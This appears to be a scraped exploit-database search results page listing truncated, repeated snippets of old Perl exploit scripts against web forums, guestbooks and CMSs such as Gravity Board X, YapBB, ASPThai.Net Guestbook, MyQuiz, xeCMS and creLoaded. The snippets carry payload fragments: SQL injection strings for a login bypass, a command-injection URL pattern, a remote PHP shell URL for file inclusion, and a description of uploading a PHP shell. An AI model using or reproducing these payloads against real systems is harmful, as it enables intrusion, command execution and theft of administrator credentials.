1850 matches found
Gravity Board X 1.1 - 'csscontent' Remote Code Execution
!/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGVnew or die; $res = $gr-get$path.'editcss.php?csscontent='; if$res-asstring = /unable to save changes/ print...
Gravity Board X <= 1.1 (csscontent) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ================================================================= Gravity Board X new or die; $res = $gr-get$path.'editcss.php?csscontent='; if$res-asstring = /unable to save changes/ print "Forum unable to save changes in css template...
Zorum Forum 3.5 - 'rollid' SQL Injection
!/usr/bin/perl use LWP::UserAgent; ------------------------------------------------------------------------------------------- Zorum forum http://zorum.phpoutsourcing.com/ version 3.5 sql injection exploit by 1dt.w0lf // RusH security team work on all mysql versions...
Zorum Forum 3.5 (rollid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== Zorum Forum 3.5 rollid Remote SQL Injection Exploit ===================================================== !/usr/bin/perl use LWP::UserAgent;...
Gravity Board X 1.1 - csscontent Remote Code Execution
Gravity Board X 1.1 - csscontent Remote Code Execution !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGVnew or die; $res =...
YapBB 1.2 - 'cfgIncludeDirectory' Remote Command Execution
!/usr/bin/perl YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to 'http://my.shell.fi/phpshell.gif?&cmd=' cijfer$ $Id:...
YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit
Exploit for unknown platform in category web applications =================================================================== YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$...
YapBB 1.2 - cfgIncludeDirectory Remote Command Execution
YapBB 1.2 - cfgIncludeDirectory Remote Command Execution !/usr/bin/perl YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to...
ASPThai.Net Guestbook <= 5.5 (Auth Bypass) SQL Injection Exploit
No description provided by source. !/usr/bin/perl SQL Injection Exploit for ASPThai.Net Guestbook = 5.5 And possible higher could not find a site to test it on This exploit shows the username of the administrator and the password In plain text Bug Found by muderskillz Coded by Zodiac Shouts to...
ASPThai.Net Guestbook 5.5 - Authentication Bypass
!/usr/bin/perl SQL Injection Exploit for ASPThai.Net Guestbook new or die; $cookiejar = HTTP::Cookies-new; $xpl-agent'g00ns'; $xpl-cookiejar$cookiejar; $res = $xpl-post $Server.'checkuser.asp', Content = 'txtUserName' = '' or '%67%30%30%6e%73'='%67%30%30%6e%73', 'txtUserPass' = '' or...
ASPThai.Net Guestbook <= 5.5 (Auth Bypass) SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ ASPThai.Net Guestbook new or die; $cookiejar = HTTP::Cookies-new; $xpl-agent'g00ns'; $xpl-cookiejar$cookiejar; $res = $xpl-post $Server.'checkuser.asp', Content = 'txtUserNam...
MyQuiz 1.01 (PATH_INFO) Arbitrary Command Execution Exploit
No description provided by source. !/usr/bin/perl = MyQuiz Remote Command Execution Exploit - By Hessam-x / www.hackerz.ir manual exploiting -- http://target/cgi-bin/myquiz.pl/ask/;Command| SecurityFocus bug : http://www.securityfocus.com/archive/1/423921/30/0/threaded / | \ | | / \ \ / | |/ // ...
MyQuiz 1.01 - PATH_INFO Arbitrary Command Execution
MyQuiz 1.01 - PATHINFO Arbitrary Command Execution !/usr/bin/perl = MyQuiz Remote Command Execution Exploit - By Hessam-x / www.hackerz.ir manual exploiting -- http://target/cgi-bin/myquiz.pl/ask/;| SecurityFocus bug : http://www.securityfocus.com/archive/1/423921/30/0/threaded / | \ | | / \ \ / ...
MyQuiz 1.01 (PATH_INFO) Arbitrary Command Execution Exploit
Exploit for cgi platform in category web applications =========================================================== MyQuiz 1.01 PATHINFO Arbitrary Command Execution Exploit =========================================================== !/usr/bin/perl = MyQuiz Remote Command Execution Exploit - By...
xeCMS 1.0.0 RC 2 (cookie) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ========================================================== xeCMS 1.0.0 RC 2 cookie Remote Command Execution Exploit ========================================================== !/usr/bin/perl xeCMS 1.0.0 RC 2 Remote Command Execution Exploit...
xeCMS 1.0.0 RC 2 - cookie Remote Command Execution
xeCMS 1.0.0 RC 2 - cookie Remote Command Execution !/usr/bin/perl xeCMS 1.0.0 RC 2 Remote Command Execution Exploit Copyright c 2006 cijfer All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ greets to JagX $Id: cijfer-xecmsxpl.pl...
xeCMS 1.0.0 RC 2 - 'cookie' Remote Command Execution
!/usr/bin/perl xeCMS 1.0.0 RC 2 Remote Command Execution Exploit Copyright c 2006 cijfer All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ greets to JagX $Id: cijfer-xecmsxpl.pl,v 0.1 2006/01/29 22:13:00 cijfer Exp $ use...
xeCMS 1.0.0 RC 2 (cookie) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl xeCMS 1.0.0 RC 2 Remote Command Execution Exploit Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ greets to JagX $Id: cijfer-xecmsxpl.pl...
creLoaded <= 6.15 (HTMLAREA) Automated Perl Exploit
No description provided by source. !/usr/bin/perl creLoaded = 6.15 HTMLAREA automated perl exploit hacked up by kaneda [email protected] Rather simple exploit, but still an exploit nonetheless. Attempts to upload php script and utilise that to execute commands, and show off a fake shell. C...
creLoaded 6.15 - 'HTMLAREA' Automated Perl
!/usr/bin/perl creLoaded Rather simple exploit, but still an exploit nonetheless. Attempts to upload php script and utilise that to execute commands, and show off a fake shell. Can specify: User-defined PHP script or one provided in this script suits most occasions Additional variables to pass to...